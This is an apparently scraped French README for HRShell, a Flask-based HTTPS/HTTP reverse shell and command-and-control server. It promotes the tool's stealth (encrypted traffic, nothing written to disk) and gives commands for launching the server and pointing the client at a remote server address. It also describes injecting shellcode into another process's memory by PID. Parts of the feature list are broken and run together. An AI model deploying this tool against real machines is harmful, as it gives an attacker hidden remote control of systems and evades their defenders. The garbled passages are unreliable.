
HRShell est un shell inverse HTTPS/HTTP construit avec Flask. C'est un serveur C2 avancé avec de nombreuses fonctionnalités et capacités.
HRShell est un shell inverse HTTPS/HTTP construit avec flask et compatible avec python 3.x. Le client.py a été testé avec succès sur :
tandis que le server.py est compatible avec les systèmes Unix (support Windows bientôt...)
migrate <PID>) en spécifiant son PID
cd et variantes).history disponible sur les systèmes Unix.download/upload/screenshot/hex disponibles.|) et des commandes chaînées (;)gunicorn et Nginx.server.py et client.py sont facilement extensibles.*Pour les changements de version, consultez le CHANGELOG.
HRShell est furtif car il utilise le protocole HTTP(S) comme méthode de communication entre le client et le serveur. De plus, lorsque TLS est utilisé, le trafic est également chiffré. Aussi, si le CERT n'est pas codé en dur côté client (ce qui est une option possible) et que la commande upload n'est pas utilisée, alors client.py n'écrit rien sur le disque.
Côté serveur :
Sauf si l'option --http est spécifiée, par défaut server.py est en HTTPS en utilisant des certificats à la volée, car les certificats à la volée sont une fonctionnalité intégrée de Flask. Mais si l'option -s tornado est spécifiée pour que le serveur utilise TLS, les options --cert et --key doivent être spécifiées comme ceci :
python server.py -s tornado --cert /chemin/cert.pem --key /chemin/key.pem
Des certificats "réels" peuvent être utilisés, ou une autre façon de générer une paire cert/key est par exemple en utilisant mkcert ou openssl directement comme ceci :
openssl req -x509 -newkey rsa:4096 -nodes -out cert.pem -keyout key.pem -days 365
Une paire cert/key peut également être utilisée avec le serveur Flask :
python server.py --cert /chemin/cert.pem --key /chemin/key.pem
⚠️ Si le serveur utilise TLS, alors par conception le client ne peut pas utiliser
http://...pour se connecter au serveur, mais doit explicitement utiliserhttpsà la place.
Côté client : Par défaut, la vérification SSL du client est désactivée, sauf si :
--cert est spécifié par exemple :
python client.py -s https://192.168.10.7:5000 --cert /chemin/cert.pem
CERT, au lieu de la valeur par défaut None, est définie au préalable avec un certificat valide par exemple :
CERT = """
-----BEGIN CERTIFICATE-----
MIIBoDCCAUoCAQAwDQYJKoZIhvcNAQEEBQAwYzELMAkGA1UEBhMCQVUxEzARBgNV
BAgTClF1ZWVuc2xhbmQxGjAYBgNVBAoTEUNyeXB0U29mdCBQdHkgTHRkMSMwIQYD
VQQDExpTZXJ2ZXIgdGVzdCBjZXJ0ICg1MTIgYml0KTAeFw05NzA5MDkwMzQxMjZa
...
-----END CERTIFICATE-----
"""
Dans ce cas, client.py tentera de créer un fichier caché .cert.pem à la volée et l'utilisera à la place.⚠️ Le fait que la vérification SSL soit désactivée par défaut sur le client ne signifie en aucun cas que TLS est également désactivé, TLS sera activé si le serveur l'utilise - donc TLS dépend entièrement du serveur. L'option
--certcôté client est simplement une autre manière pour que le serveur-client ait une session chiffrée, et c'est tout.
Il existe deux "modes" d'injection de shellcode, utilisant respectivement les deux commandes suivantes :
migrate <PID> : En utilisant cette commande, nous pouvons injecter un shellcode dans l'espace mémoire d'un autre processus en spécifiant son PID. Pour l'instant, cette commande ne peut être appliquée que sur les plateformes Windows x86/x64 !
inject shellcode : En utilisant cette commande, un nouveau thread (ou un processus dérivé sur les systèmes Unix) de notre processus actuel est créé et l'injection du shellcode se produit dans son espace mémoire. En conséquence, notre shell HTTP(S) n'est pas affecté par l'injection. Les plateformes où cette commande peut être appliquée sont : Unix x86/x64, Windows x86 !
Il y a deux façons de spécifier/définir le type de shellcode que vous voulez que le client exécute :